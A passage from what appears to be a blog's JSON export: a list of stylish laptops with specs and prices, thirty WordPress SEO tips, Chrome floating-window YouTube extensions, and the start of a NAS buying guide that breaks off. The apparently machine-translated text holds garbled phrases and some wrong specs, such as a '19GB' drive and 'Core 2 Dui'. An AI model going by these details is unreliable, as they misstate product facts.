GB hard drive.\nStarting price: 1,249 USD. Lenovo IdeaPad S10\n  Lenovo with IdeaPad S10 marked the presence of this company in the home for popular supercomputers, with a weight of only 2 pounds (0.9072kg). The IdeaPad S10 has a 10.2-inch screen, Intel's Atom chip and a standard QWERTY keyboard with only 85% of the standard PC keyboard. The basic feature of this product is 512MB RAM, 80GB hard drive, Wi-Fi support, built-in camera, 2 USB ports along with a 4-in-1 card reader. Built-in Microsoft Windows XP, with a starting price is $ 399.\nFujitsu LifeBook T5010\n  If you are wondering about choosing a laptop or a desktop? It is best to choose a computer that blends the utility of both, and Fujitsu with the LifeBook T5010 smart laptop will satisfy you. The LifeBook T5010 supports Centrino 2 chips with vPro technology, along with a 13.3-inch screen that is capable of hinged on a hinge to make you comfortable in determining your gaze as if it were a desktop computer. This computer also supports 802.11n high-speed wireless connection.\nPrices start at $ 1,769 for regular machines with 1GB of RAM and 80GB SATA hard drives. Alienware Area-51 m15x\n  Top gamers are excited to hear Alienware launches its new product - laptop Area-51 m15x, a 15.4-inch \"terrible\" screen with 1200p display at ultra-high resolution. The video card is said to be 'the world's most powerful mobile graphics card'. Nvidia GeForce 8800M GTX uses dedicated graphics memory up to 512MB. Area-51 m15x is built on Intel's Core 2 Extreme processor, has the power and facilities to handle audio, HD images, 3D animation design and especially appropriate with high-tech games.\nIt also has a 500GB SATA drive, and 4GB of RAM, starting price: $ 1,499 Gateway P-172X\n  Gateway is redirecting its new product to the graceful P-172X for users who are inclined to entertainment applications. The P-172 is built for movies, games, and other entertainment applications. The P-172X is also equipped with an Intel Core 2 Duo chip, a 17-inch super-bright standard screen 1400x900, a 1.3-megapixel webcam, 2GB RAM, and a 19GB SATA hard drive.\nPrices start at 999.99 USD. Apple MacBook Air\n  Someone will be a little surprised if you see Apple's MacBook Air on the list of graceful laptops after the first look. But please take a closer look at Apple's product, a company that has made breakthroughs in design for its products, the highlight of the MacBook Air is that it is only ¾ inch thick and weighs only 3 pounds (1 , 3608kg) but equipped with 13.3-inch LED screen, standard keyboard and multi-touch mouse. MacBook Air is equipped with Intel Core 2 Dui 1.6GHZ chip, 2GB RAM and 80GB hard drive, supports high-speed 802.11n wireless connection. Perhaps the only drawback of MacBook Air is the absence of an optical drive, but it is easily overlooked because the design of this product is unique and very stylish.\nStarting price is 1,799 USD. Hewlett-Packard EliteBook 6930p\n  For laptop items, sometimes graceful means thin and stylish, sometimes synonymous with fast speed. As for those who often have to move on the road, the grace must be synonymous with certainty. And consumers will not be disappointed with the HP EliteBook 6930p: a product built firmly to withstand high-speed travel during business. HP was inspired by a fighter jet to create this design with a high-gloss shiny metal case, but the points that attracted the attention of business users must include the impressive 14.1 screen. inch, water-resistant keyboard, hard drive and ultra-durable magnesium alloy frame.\nStarting price: USD 1,179. Dell Inspiron 13\n  Dell has surprised many customers with the recalled models of school computers with a shiny blue exterior of Inspiron 13, along with a 13-inch HD screen, an 8-in-1 card reader and a slot-load DVD drive. . The included options of Inspiron 13 include Webcam and Bluetooth connectivity.\nPrices start at 699 USD. Panasonic Toughbook 19\n  Panasonic's Toughbook series, known for its rugged designs, 'pits' and Toughbook 19, doesn't disappoint customers either. But besides images inspired by a battle tank, it also has its own charming points, including a 10.4-inch anti-glare screen, which can be rotated to turn into a machine. Traditional desktop. The screen also has a touch feature, which means you can use a pen or fingers to control your computer, or write documents by hand, decorate text and draw pictures.\nStarting price: 3,699 USD. Sony Vaio FW\n  A pretty small computer, a pretty small HD movie theater - that's the Sony Vaio FW, a large-screen computer that's perfect for entertainment applications involving high-resolution images. Its 16.4-inch ultra-wide screen with a standard 16: 9 aspect ratio allows you to watch movies in standard movie format (and also wide enough for you to place 2 pages side by side with the size of the jar often). Vaio FW is also equipped with Dolby Sound Room 5.1 audio technology which is used for the highest quality sound. And with a Blu-ray drive dedicated to HD images, you can be ready to reduce room lighting and buy more popcorn to enjoy the most impressive movies.\nThe starting price (with optical drive) is $ 1,209.99.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWjqcattdKhZKWZoKm8sb8%3D\n","link":"/post/10-most-stylish-laptops/","section":"post","tags":null,"title":"10 most stylish laptops"},{"body":"If you want to boost your search engine rankings, then you need to take SEO seriously. Fortunately, using WordPress, you already have a good, SEO-friendly foundation in place. This is also one of the reasons people choose WordPress to use it in the first place.\nHowever, there is still a lot of work to be done to get the right WordPress SEO. In this tutorial, we will cover 30 of the best SEO tips, so that you can easily improve your skills and increase website traffic.\n1. Install WordPress SEO Plugin WordPress has built-in SEO features. However, you need to use an SEO plugin to take your search optimization up. The best SEO plugin on the market is Yoast SEO, in fact we are also using this plugin at Hostinger.\nWith this plugin, you can optimize each page, every post with the keyword you choose. It also has a built-in analysis engine with the most up-to-date algorithms that match the new algorithms of the search engine. You can easily generate an XML sitemap, and add schema markup to your site.\nTo install Yoast, go to the WordPress admin page and select\u0026nbsp; Plugins ›Add New . In the search bar type \" Yoast SEO \" and click \" Install Now \" as shown below.\n  Finally, click \" Activate \" when the pops up screen pops up. This plugin is running on your site, then you can access it by clicking on the SEO icon in the left menu bar. You can check out our detailed guide on using the Yoast SEO plugin to maximize your chances of ranking.\n2. Do Keyword Research Keyword research is the most important step in determining the success of your WordPress SEO strategy. Doing keyword research will help you:\nCreate content that matches your visitor's search intent. Understand more about market demand. Control the success of everything you write. Generate valuable profits for your site. There are many tools to help you do keyword search. Some of the best tools are KWFinder, SEMRush, and even the Google Keyword Planner.\nThe keyword search process can be divided into 4 simple steps as follows:\nCreate a list of keywords related to the topic. Enter it in the keyword finder to find more keywords with the best volume traffic, and the least competition. Research competitors by running keywords research tools to see which keywords their competitors' pages are using and which keywords are driving the most traffic. See which keywords have the fewest competitors your article can compete with to include that keyword in your article. With this list of keywords, it's time to create content and optimize it with the SEO tips in this list!\n3. Turn on Search Engine Visibility There is a tool in WordPress to hide your site from search engines.\nThis feature was useful in the beginning when building a site, but if the search engine index is turned off, your website cannot rank on the search engine. Be sure to enable the feature first before doing any of the tricks in this article. Or if you see you doing a lot of work and the website still cannot see it on the search engine, check again because this may be the main reason.\nTo check if this feature is enabled, go to\u0026nbsp; Settings ›Reading \u0026nbsp;in your WordPress dashboard. Scroll down the page until you see an item called\u0026nbsp; Search Engine Visibility .\n  Make sure this box is unchecked. Then click \" Save Changes \" button .\n4. Adjustment of Permalink Structure When you first install WordPress, your pages and posts will have a bad URL structure and are bad for SEO.\nThe \"best looking\" URL structure for search engines is the \"post name\" type. By passing this type you will be able to insert a post title or page title, and even the keyword can be placed in the URL. To change to a post name, go to\u0026nbsp; Settings ›Permalinks .\n  Under \" Common Settings \", select the item named \" Post name \".\nIf you change permanlinks now but change later, you may need to redirect all old URLs to new URLs. Plugin Change Permalink Helper. will help you redirect permalink. Just enter old URLs and it will forwards to new URLs for you.\n5. Add your site to Google Search Console Using Google Search Console will show you how your site is performing on the search engine, and notify you if there are any sitewide errors.\nTo add your site to Google Search Console: Visit this page to register for a Google account and press the \" Add A Property \" button to add the URL of your website.\n  Click on the \" Add \" button , and you will be taken to a screen where you need to claim your website. There are many methods to verify your site, the easiest way is to choose\u0026nbsp; Alternate methods , then choose the\u0026nbsp; HTML tag .\n  Copy this code, go to your WordPress dashboard. To insert this header code, you can utilize a plugin to do this. Go to\u0026nbsp; Plugins ›Add New , look for the word\" Insert Headers and Footers \".\n  Install and activate the plugin in the image above. Next, open the plugin by going to\u0026nbsp; Settings ›Insert Headers and Footers .\n  Now paste the code in the box labeled\u0026nbsp; Header , and click on the \" Save \" button . Finally, go to Google Webmaster Tools and click on the Verify button\u0026nbsp; .\n6. Google Analytics integration Another Googles tool that will help you master website analytics is Google Analytics. This tool will tell you how good your SEO strategy is by giving you a breakdown of your website's traffic.\nTo set up your account, go to the Google Analytics homepage and create an account. Next, you will need to get the tracking code in it. This will usually be under\u0026nbsp; Tracking Info ›Tracking Code . Then, copy the code similar to the following:\n  Depending on your theme, you will have the option to add the Google Analytics tracking code directly. If that doesn't work, you can use the Insert Headers and Footers plugin\u0026nbsp; \u0026nbsp;above to do it.\nOpen the plugin, go to the header, paste the tracking code. That's it, now you have the website's statistics. With this statistic you can analyze and come up with suitable strategies to increase website ranking on Google. For more detailed instructions, you can see the following tutorial on how to add Google Analytics in WordPress.\n7. Submit a Sitemap to Google Sitemaps are used by search engines to better scan your site. Your site will still be scanned without a sitemap, but creating a sitemap will help you report what kind of data you want the search engine to scan.\nYou can pinpoint the page without contributing to the increase in scans, and identify important pages for search engines to scan. If you are using Yoast SEO plugin, you can use this plugin to create a sitemap easily.\nGo to\u0026nbsp; SEO ›General› Features . Scroll to the bottom and enable \" XML Sitemaps \".\n  Click on the link called \" See XML sitemap \" to open the sitemap, to make sure it has been successfully created.\nNow submit your sitemap to Google. To do so visit the Google Search Console dashboard and click \" Sitemaps \".\n  In the right corner, you will see the option to add a sitemap ( Add / Test Sitemap). \u0026nbsp;Click on it, add the URL of your sitemap, and click the \" Submit \" button . Now that Google will scan your sitemaps regularly, this can help speed up your indexing.\n8. Optimized for mobile Google just announced that they are testing mobile indexing first. That means they'll start using the performance and functionality of your mobile site to gauge your ranking. So, if your theme is using non-repsonsive (which adjusts to each screen type), now's the time to fix it.\nIn addition, you can also check if your site is mobile optimized using Google's test tool: Google \"s mobile-friendliness test, enter the URL of your site to see the results.\n  It will check if your site is mobile-friendly and offer some tips for you to optimize your site.\n9. Speed ​​up your Website Website speed is very important. A slow loading website will negatively affect your ranking and user experience. Page load speed has even become a ranking factor for your site.\nLuckily, to handle the page load speed is not difficult, the following ways will help you speed up your website:\nTake the original parameter to measure First, you need to know how your website is performing. Open a tool called GTMetrix and run through this tool. It will tell you the speed information of your current site so you know which improvement.\nHost upgrade Usually, some server-side errors can cause slowdowns. Therefore, choosing the right hosting environment is very important. For the best WordPress performance, we recommend a hosting plan optimized specifically for WordPress hosting.\nMake use of the CDN A CDN will help you speed up your site by hosting multiple versions of your site on servers around the world. So when visitors go to your site, they'll get the version closest to where they visit. To find a free CDN solution, you can integrate your site with a CDN like Cloudflare's.\nUse the Caching Plugin Caching plugin will generate static HTML files site, instead of using PHP files normally used to run WordPress. It will significantly reduce the number of requests to the server from the user's browser, and in turn will speed up the page load.\nSome of the most popular WordPress caching plugins are W3 Total Cache and WP Super Cache.\nOptimize your images or videos If you are uploading images to your site, then you need to optimize them to lighten the site down.\nTo optimize your images, do the following:\nReduce file size by optimizing the image using a tool like TinyPNG. Resize the image to the appropriate size before uploading. Install an image optimization plugin such as WP Smush. 10. Fix any broken link You have broken links that are not good at all for your readers or search rankings. Because it can make it difficult for Google bots to scan your site. In short, the more broken links, the more negatively affected WordPress SEO is.\nThe easiest way is to check broken links with Google Search Console and click on the button under \"Crawl Errors\".\n  Then open up each error and it will show you where the error link is so you can fix it.\n11. There are main keywords for each article Even keyword optimization has changed a lot, but keywords still play an important role in SEO. Whenever you are writing articles you should have a focus keyword for it.\nHere's how to optimize your posts based on selected keywords:\nDo not try to insert a keyword in your article that makes the text meaningless or confusing, only when it is used as naturally as possible. Keywords should appear in the first paragraph of the article if possible. Use your main keyword in your title and subheadings. Include keywords in your URL, meta description. Yoast SEO will make implementing the above 4 ideas most effective for you.\nEvery time you write an article you enter keywords into this tool. It will analyze to guide you to optimize for that keyword during your article writing process.\n  You will be shown how to improve your keywords to increase your search engine ranking. However, optimize it so that it does not affect the smooth, easy-to-read text, because the visitor's page view time is also a factor affecting search rankings (if it is difficult to read too much for readers. will skip and find another page).\n12. Create quality content Google loves high-quality articles. Try searching by any keyword, the first 10 results will satisfy your search needs with 2 criteria:\nThe content is long enough and of a certain quality. Content that matches your search intent. Well-written, long-written content is best. But don't forget the user's search intent. Factors based on search intent located in the keyword phrase.\nWhen you create content, keep in mind that you are writing articles for the searchers, and try to understand why you should be in the first place. Sometimes content will be at the top of the search table because of the strength of the domain name. But if each site has the same amount of authority, the quality of the content will be the deciding factor.\nTo better understand keywords and search intent, ask yourself the following questions:\nWhat kind of information are the searchers looking for or is product information? Are they looking for insights? Or just short articles? Why are existing pages ranking high? What type of content will best answer the keywords a user enters? By answering these questions, you will learn more about keywords, which pages are ranking well, and what searchers want, so you can create unique and best content.\n13. Create long content Long content usually ranks better than short content in search engines. Recent studies by Buzzsumo and Moz show that long-form content gets more social links and backlinks on other websites, thus ranking higher.\nAlso another study found that most of the high-term content on the front page of Google was over 2000 words in content. That doesn't mean all posts on your site should be this length, but if there are some posts like that, better, it will be more sympathetic to Google.\nBut, once again we stress that quality comes first, and factors like readability, readability, and concise are also important. So never cram unnecessary words into the article because it will dilute the text, possibly causing backlash.\nInstead, your content always needs to stick to the intent of the keyword. Meaning you need to solve a searcher's problem first, in the simplest and easiest way possible. Then add content that searchers need to know more if needed to both quality and make readers appreciate the writer's ability.\n14. Create non-dated content Clean content is a powerful traffic generator. The content type is always useful without being affected by timelines and major events.\nFor example one post like, \" The Comprehensive Guide to Onsite SEO \", with another \" What do you need to know about the latest Google updates \".\nThe first song will be useful for a long time, while the second song is dependent on a specific timeline. Of course, that doesn't mean you need to publish such evergreen content once and for all, forget about it, but you should regularly update it to accommodate new industry innovations. this is talking about.\nEvergreen content (non-obsolete content) is important information that does not lose industry relevance over time. This means it can always be shared, promoted, and placed backlink. This type of content usually stays a very long time on a search engine results page if it is well updated.\nWhile non-obsolete content usually takes longer to create, the results will last year after year that will surely make you happy.\n15. Link Out to quality sources Linking out to quality sources will not harm your SEO, on the contrary, it may even help you. When you link out to valuable sources on the Internet, Google knows that these resources have similar content to you. Moreover, it also affects user psychology, users will trust you more because you have valuable sources of information related to the same topic.\nDon't let your site die on the internet, share the links you find to be good for your readers. Doing this regularly will create a treasure trove of links and it will help you increase your trustworthiness and credibility. By linking to these resources, it will also open you up for dialogue with the editors of your article source. Sharing and linking online is the hottest job right now, right?\nRemember, link out is important, only if you can implement it properly. To avoid sending readers to other sites on your site and leaving your site, don't forget to choose the option to open external links in a new window. To open the external link on another tab or window, perform the following steps:\nCreate a Hyperlink To create a hyperlink, highlight your text and link to the hyperlink button:\n  Then, click on the gear icon, it will lead you to the installation of this link.\nChange clicking links to \" Open link in a new tab \" A link control box will appear and you just need to click on the box \" Open link in a new tab \" (open the link on a new tab).\n  That's it, now every time a user clicks on your link, it opens a new tab instead of opening on the same page they're reading.\n16. Linking content together (Interlink) If there is a chance, please link to the old content that you have published. Usually, an interlink has the following benefits:\nIt's easy for Google bots to scan your site deeper into each post and page by page Put links on articles and pages without attracting any backlink for itself. Help Google understand what the content of the linked page is by surrounding it with a paragraph related to the topic. Keep your visitors on your site longer by visiting more pages, thus minimizing bounce rate, increasing time on site (time spent on site ). WordPress makes interlinking of your content very easy.\nNo matter what post you write, highlight the text and click the hyperlink button. Then select the tooth icon to go to link options.\n  In the pop-up window, you will see a list of the articles you have written. Just choose the right type of content from the list.\n  17. Adjust title of post and web page The title tag is the most important heading tag. It tells Google what your website is talking about, and helps readers visualize and decide whether to click on the page or not. The name of the post and the page (post and page) is the title tag.\nInstructions for optimizing article titles:\nInsert your main keyword as soon as possible in the title. Create a title (title tag) about 60-70 characters. Create a title that is catchy and appealing for others to click on. Changing the title tag to another more optimized and clickable title tag is very simple. Especially if you are using the Yoast SEO plugin.\nTo change title tags, open one of your posts and scroll to the bottom of the page. You will see an entry called \" Snippet editor \".\n  Here, you will be able to customize WordPress SEO by adjusting the title tag to optimize so that it increases website rankings on google.\n18. Optimize header tag Header tags will tell crawler bots what your content is about. Using these tags in the content will make the article easier to read and optimize for search engines.\nBasically, you should have one H1\u0026nbsp; tag\u0026nbsp; per post and use the hierarchy of\u0026nbsp; H2 ,\u0026nbsp; H3 , and\u0026nbsp; H4 in that post.\nThe H1 tag can also be the post title, so you need to use your main keyword in it. For the rest of the header tag, use other possible variations of the main keyword, if possible. However, don't put keywords in the heading tag if this makes the heading tags no longer clear. Clarity and readability are a priority.\nIn the WordPress editor, you can easily add header tags using the drop-down menu bar.\n  19. Use Shorter URLs When creating URLs, you should use words as short as possible. Minimize URLs so that it does not show multiple classes such as directories and categories. Try using only the target keyword, and removing other elements so that it is as short as possible to see if the address bar makes sense.\nLong URLs won't hurt your ranking. But it will make the link look like link spam and reduce the CTR (click through rate). If you change the permalinks, this will give you more control over the URL structure.\nFollow our hands-on guidelines for creating search engine friendly URLs:\nUse short URLs if possible, cutting out words that make no sense Contains the main keyword in the URL There is a similarity between the title and URLs Easy to read and understand for the average user Avoid directory hierarchy and categorize whenever possible With the above SEO tips, you can easily edit URLs right from the WordPress post page. Just click on \" Permalink \" right below the title to edit the URL:\n  20. Optimize Meta Descriptions The meta description is the paragraph below the title in search results. It tells searchers roughly what the description of the page they found is, which matches their search needs.\n  Your meta description is not a major ranking factor, but it will help you improve your CTR. An attractive, stimulating text that excites readers to click is a great advantage so that you can beat your competitors on the same topic, and users don't have to find another article by using another search command.\nClick through rate is sometimes more important than ranking, because if you have a high CTR, Google will understand that your page is more relevant, which will gradually improve your ranking.\nTo optimize the meta description for clicks, perform the following SEO tips:\nAdd the main keyword in the meta description. Google will even highlight keywords, so your results stand out even more. Understand that writing a meta description is like writing a piece of advertising. Each word is important and is intended to motivate readers to click instead of other pages. 21. Cowardly Schema Markup You've probably heard the word \"schema markup\" before and have seen it elsewhere. It is a piece of code that helps searchers to better understand data and implement it nicer and more meaningful to searchers. By implementing schema markup, you may have created the opportunity for google listing your results to be more compelling. This leads to higher CTR and increased traffic to your website.\nThe WordPress theme may already have schema markup installed. To see if your site has schema markup, run it through this tool. If you don't have schema markup, then you can use the schema plugin. It is very easy to configure and will automatically insert the schema markup on your site for you. might already have schema markup installed.\n22. Optimize Google SERP You have already seen these boxes appear on the front page of Google search results. If not, you can check out the example below:\n  This position is called position 0 on the search engine and it will get more traffic and higher click-through rate, it directly \"robs the click\" from the # 1 position on the search results. If you were on the first page of search results (1 of the first 10 results), you are conditioned to appear at position 0, and so you hit 2 positions on the same page of Google, too advantageous over the opponent, right?\nThere is no specific guide to achieving this position, but the following best things to do will increase your chances of reaching position 0 on Google:\nAdd schema markup to your site Answer a keyword-related question at the beginning of the post Format your answer in list form 23. Optimize images for search engines. Using images throughout the content creates a better reading experience. This keeps the reader more engaged with your site, ie you have achieved a positive index in the eyes of google for good performance. But, besides adding images to your site, you can optimize with the following 3 SEO tips:\nAdd a title for the photo The title of the image is not scanned by the search engines, but it can be a major factor in the user experience. When users hover the mouse over the image, the image will appear a title box containing the content.\nTo change the photo title, hover over the image, and click on the pencil icon called \" Edit \".\n  On the \" Advanced Options \" screen, you can enter the image title.\n  Alt Text Alt Text is similar to image title, Alt text is intended to describe an image, but written in a different way to be able to indicate what the image is about, or what the image is for. In the first image of the post, the feature image should have alt text containing focus keyword, because this image will represent the article telling google what this article is having overall content.\nTo change the alt text, go to the photo editing page as above, select the \" Alternative Text \" field, and fill in the main keyword or related keyword or image description in the box.\n  File name The filename can also help you increase the term on the Google Image search page, so don't forget to rename the file exactly what is the name of the image as it can bring traffic to your site.\nOften the image name will be long and confusing, or not relevant to the post's topic. So before uploading an image to WordPress, remember to rename the file to match the image, and add keywords in the filename if necessary, the file name should be written without accents.\nIf you use multiple words in the filename, make sure you separate them with dashes, Google will treat it as a space.\n24. No-Follow any Affiliate Links Many websites use affiliate links to increase sales. These links are often used to control commissions for products, services, or online courses.\nBut, using many such links can be a thorn in the eyes of Google (because you use this link to insert your own benefit, so Google may evaluate the post as impartial). If you use an affiliate link, conceal it by inserting a no-follow\u0026nbsp; tag\u0026nbsp; for it. You can use a WordPress plugin called Pretty Links to do this.\nPretty Links is a useful plugin that gives you unique URLs, unlike affiliate links. This tool also supports click tracking, so you can have click statistics.\nTo install this plugin, go to\u0026nbsp; Plugins ›Add New \u0026nbsp;and look for the word\" Pretty Links \".\n  Install and activate this plugin, then go to\u0026nbsp; Pretty Link ›Options \u0026nbsp;on the left sidebar.\nTo make your affiliate link no-follow select the \" Add nofollow to link \" mark below the Defaul Link Options settings.\n  You can create a new link by selecting \" Add New Link \", entering your affiliate URL, then creating a new link.\n25. Add HTTPS to your Site HTTPS is the official Google ranking factor, so your site needs to have SSL in order to create the https protocol. This will give your site a big advantage over sites that don't have SSL. It establishes a connection to a secure site and encrypted traffic.\nTo convert your WordPress site to HTTPS follow these steps:\nMake sure your host supports HTTPS and SSL. Buy an SSL certificate, or if you use Hostinger you will have the opportunity to subscribe to a lifetime SSL without having to renew each year. Install an SSL certificate. Verify if SSL is working. Redirect all traffic from HTTP to HTTPS. Alternatively, you can also install ssl for free using the let \"s encrypt certificate. If you don't know how to do it, please see this detailed tutorial.\n26. Build high quality backlinks Backlinks are one of the most important ranking factors. The higher the quality backlink, the higher your site will have a chance of ranking. Based on the research of Matthew Barby, if a page has a large number of backlinks, it will rank higher.\nBacklink building is another big topic in SEO tricks, so we can't summarize it here. However, you can refer to some methods of doing link building to start building quality backlinks for your site:\nCreate skyscraper content. Look for broken backlinks. Create ego-bait content. Guest post on popular sites. Do outreach link building. 27. Perform SEO Audit If you are not sure if your site has been fully optimized, you can perform an SEO audit. But instead of going through the steps yourself, you can use SEO auditing tool. These tools will run your site with a series of tests, you will get a report telling you what you are doing right and what you need to improve.\nSEOSiteCheckup is a free tool to help you analyze over 50 different onsite ranking factors. You can also use the Varvy SEO tool, which will compare your site with Google's navigation guidelines.\n28. Check the backlink profile By regularly checking your profile backlinks (the number of links from other sites to your website), you will know if the offsite SEO performance has improved. Since backlinks are one of the most important ranking factors, you should check this out regularly.\nIf you see a steady increase in the number of links, that's a good sign. But remember, not only is the number of links important, but the quality of the websites linking to your website is also important. The more relevant the site, the more authoritative, the more valuable the backlink.\nThere are many tools that can help you monitor backlinks. One of the most popular is Ahrefs, and we are using it as well. This tool will give you a detailed breakdown of how many websites link to you, the quality of these sites, and the number of referring domains. It's a premium tool, but your data will be of much more value.\nIf you are looking for a free solution, check out the SEOProfiler tool. Just create an account, you can get a detailed backlink report right on each of your websites.\n29. Ask Google Crawl your website Usually, your site will be crawled regularly if you regularly publish new content. But, one way to Google Index your new article or website right away is to use Google Search Console.\nOpen Google Search Console, go to\u0026nbsp; Crawl , click the Fetch as Google button\u0026nbsp; . Enter the URL and click on the \" FETCH \" button .\n  Next, click on the \" Request Indexing \" button to have your new URL indexed / crawled by Google. Usually it won't happen right away, but it's still faster than waiting for Google to crawl your site.\n30. Apply Long-Tail Keywords (long keywords) Depending on your niche, ranking on the front page of Google for the main keyword can be difficult. Many keywords with large volume have been at the top of the table for a long time, and the content of these pages is also perfect so that users do not have to find more pages. foothold for these pages.\nIn such cases, you need to think further, and think of less competitive and specific, detailed keywords. These are called long-tail keywords. For example, try to brainstorm what a visitor looks for to buy a shoe product like a \"children's shoe store\", and then create an article for that keyword. So you will have a certain amount of stream (click volume), and certain traffic for an article with keywords is not difficult.\nUse tools like KWFinder to get an overview of common keywords and their difficulty. Make a long list of keywords that can be inserted in posts, apply more WordPress SEO tips as above, you will surely be successful.\nEpilogue As you can see, there are many fields to consider when you optimize your website to increase website ranking on Google. Hopefully, with the above article, we have given you some basic knowledge to start SEO WordPress website.\nUltimately, remember that SEO is a longer battle. The more effort you put into SEO, the better results you will see, but these results only come after a long investment. The above SEO tips are fundamental directions for search optimization, apply them to each article on your site and check the results, surely after a long time of effort, You will be satisfied with the results.\nGood luck.\nncG1vNJzZmismaXArq3KnmWcp51kgHF5xJ%2BdnpuknsOmedKepmasmaXAbrLOq2Swp6KZvbOx0qxkoqZdZ31zfA%3D%3D\n","link":"/post/30-effective-seo-tips-for-wordpress-in-2020/","section":"post","tags":null,"title":"30 effective SEO tips for WordPress in 2020"},{"body":"While waiting for Google to release the Picture-in-Picture feature for the web version of YouTube, users can use these extensions to play videos anywhere on the web in Chrome's floating window.\n1. Sideplayer\nJust watch YouTube and work with Sideplayer 2. Uninterrupted for YouTube\nUninterrupted feature for YouTube:\nSupport playing many types of YouTube videos (playlist, 360 degrees, live) in floating window. Can move, change the position of floating window display. Automatically exit the video when played out. Visit the link below -\u0026gt; click on Add to Chrome -\u0026gt; select Add extension to install this extension.\nInstallation link: Uninterrupted for YouTube\nThe utility's Picture-in-Picture feature automatically activates after the installation is completed. To activate the floating window, you open the video you want to view in the floating window -\u0026gt; perform a search or click on the avatar account.\nIf playing a playlist format, you can click the Next button to move to the next video playback.\nIf you just want to listen to the sound without watching the video, you can hide the playback frame by clicking the minimize button on the playback window. To turn off this feature, click the widget icon -\u0026gt; click Enabled.\n  3. InstantView for YouTube\nLink settings: InstantView for YouTube\nAdditional utility for YouTube with many functions such as separate interface, repeat, visualiser effect, play video in floating window .\nWith InstantView for YouTube, users can select two video viewing modes:\nCompact Mode: Click on the thumbnail of the video, it will be opened in a separate interface, pop-up format, floating on the screen but neat and played in theater mode. Comments, video suggestions, information will be hidden.\n  Users click on an empty area of ​​the screen or press the Esc key to exit this view.\nFloating window: To open the video in this mode, you do it via Compact Mode and press the second icon button from the left.\n4. LazyFox\nThis utility helps users to watch videos in floating windows running on HTML5, such as YouTube, Facebook, Vimeo, Dailymotion, Zing TV, .\nLink installation: LazyFox\n  To open a pop-up playback window, simply click on the video thumbnail. You can move the position of the video display. The floating window only works on the video playback page, but it works independently on all websites. Thus, you can open the floating window on YouTube, Facebook, Vimeo from different tabs that the content is not affected.\n5. VideoNail - Floating YouTube PiP Player\nLike Sideplayer, this utility allows playing videos in floating windows at sites outside of YouTube but in the same tab.\nInstallation link: VideoNail - Floating YouTube PiP Player\nYou can open the video in the floating window on this gadget in the following ways:\nOpen the video and scroll down, the floating window will appear. You can easily move, change the position of the display window. Click the utility icon in the toolbar -\u0026gt; copy and paste the video URL you want to view into the empty box -\u0026gt; click Open.   To open a link window when searching or on any web page, right-click on the YouTube link -\u0026gt; select Start VideoNail .   6. YouTube Popout Player\nWith this utility, users can play YouTube videos in a browser-independent window, so even if you play other videos or close YouTube, it will not be affected.\nInstallation link: YouTube Popout Player\n  There are two ways to open in a standalone window:\n+ Click the Popout Player button to the left of Full screen in the playback frame.\n+ Right-click on the video playback screen -\u0026gt; in the pop-up menu select Popout Player.\n7. Mini Y\nThis utility not only opens YouTube videos in the window but you can also customize the size of the playback window by size (S, M, L, XL).\nInstallation link: Mini Y\n  8. Iridium Chrome\nHow to view Youtube videos from a floating window on Chrome\nSee more:\nHow to turn on the feature that prompts you to watch videos too long on Youtube How to watch videos from the thumbnail screen on Opera How to view miniature YouTube videos when chatting on Zalo ncG1vNJzZmismaXArq3KnmWcp51khW6tz6mqZqyfYrWmuM9msKitXayuta%2FHZrCoraSqr6Z51aKbnqejYravecKhqaillWKzrbvAraCnn12stq%2BwzrA%3D\n","link":"/post/8-apps-to-help-you-watch-youtube-videos-in-chrome-floating-window/","section":"post","tags":null,"title":"8 apps to help you watch YouTube videos in Chrome floating window"},{"body":"Network-attached storage devices will be more flexible, but that's just one of the many benefits of purchasing NAS equipment. The author has tested the top models to let readers know which NAS device will work best for the home or small business. Find out with TipsMake.com through the following article!\nSummarize what you need to know when buying a NAS device File access is not blocked from anywhere What can you do with a NAS device? Basic principles when buying NAS drives Buy Populated NAS or Diskless? Which drives are used inside NAS devices? Safe (storage) space: Redundant than lacking Sophistication when transmitting media files Connect and control Remote access The best NAS devices today QNAP TS-251B-4G Synology DiskStation DS718 + Synology DiskStation DS1019 + Asustor AS4002T NAS Synology DiskStation DS218j Synology DiskStation DS418play Asustor AS6302T Promise Apollo Promise Apollo Cloud 2 Duo TerraMaster F2-221 NAS  File access is not blocked from anywhere In the age of high-resolution photos and video shooting almost continuously, the storage space on the PC and mobile device will fill up faster than ever. Although you can certainly use an external hard drive to reduce the memory burden and back up files from your PC (and by extension from your phone), but if you disconnect the hard drive and leave it In the office, you will not be able to access the files stored in it at home. There are many ways to allow other users to share and access files on the hard drive, but you may have trouble implementing or bringing security risks.\nInstead, consider a good network storage device (NAS). As its name suggests, NAS is a high-capacity storage device connected to a home or office network, so that you and other users you designate can access files from your mobile device and PC. No need to plug in the hard drive. This is what you need to know to choose the right NAS device.\nWhat can you do with a NAS device? When you decide that you need to store files on a network drive, you need to find out what you want to do with them, to determine the type of NAS device you need.\nFor example, a NAS device can help you do simple tasks such as sharing access to Office files such as spreadsheets and Word documents with colleagues. If you are using NAS to back up your laptop overnight, this task is also quite simple. But if you're transmitting HD video over your home network to two smart tablets, laptops, and TVs at the same time, you'll want a NAS with higher specs for memory, processor, and availability. Network connectivity. You will also need a stronger NAS if you want to store large media libraries, such as a collection of 100,000 stock images, for example.\nLike any peripheral device for a computer, the features provided by different NAS devices will not be the same, to meet a variety of specific needs. So you will need to understand the terms and features before deciding to purchase the device.\nBasic principles when buying NAS drives Because NAS devices, at the simplest level, are just containers for hard drives, the most important numerical parameter for any NAS device is the potential storage capacity, determined by the number of drive bays. Hard that it covers. Most consumer-level NAS devices have one or two compartments, while models designed for offices usually have 4 or more compartments.\nYou should not choose NAS drives with a single compartment, unless they are only used to back up data, also on networked computers. (Some single-compartment NAS drives will allow you to mount a second NAS device or external hard drive). Sure, you don't want the only copy of the data located on a network drive. In addition, users tend to be unable to access the drives in these single-chamber devices, if the NAS comes with a built-in drive.\nFor most home users who do not store a lot of video files, a two-compartment NAS device will suffice. You will spend more if you buy a large storage device, but it is better to buy two hard drives for the NAS to get twice as much storage, as they will take up two physical drives.\nBuy Populated NAS or Diskless? Some NAS drives come with drives, sometimes formatted for use in a specific RAID configuration (called populated), while others are \"diskless\". Each NAS provider tends to own in this regard. But in fact, NAS device manufacturers, which are also hard drive manufacturers (such as Seagate, Western Digital), support Populated NAS drives because they can sell hard drives along with NAS devices.\n\"Independent\" NAS manufacturers, such as Synology and QNAP, tend to sell NAS Diskless devices, although these companies (or more accurately their agents) can also provide NAS Populated, Pre-configured with the drive for convenience of shoppers.\n  If a certain NAS is provided in both populated and diskless 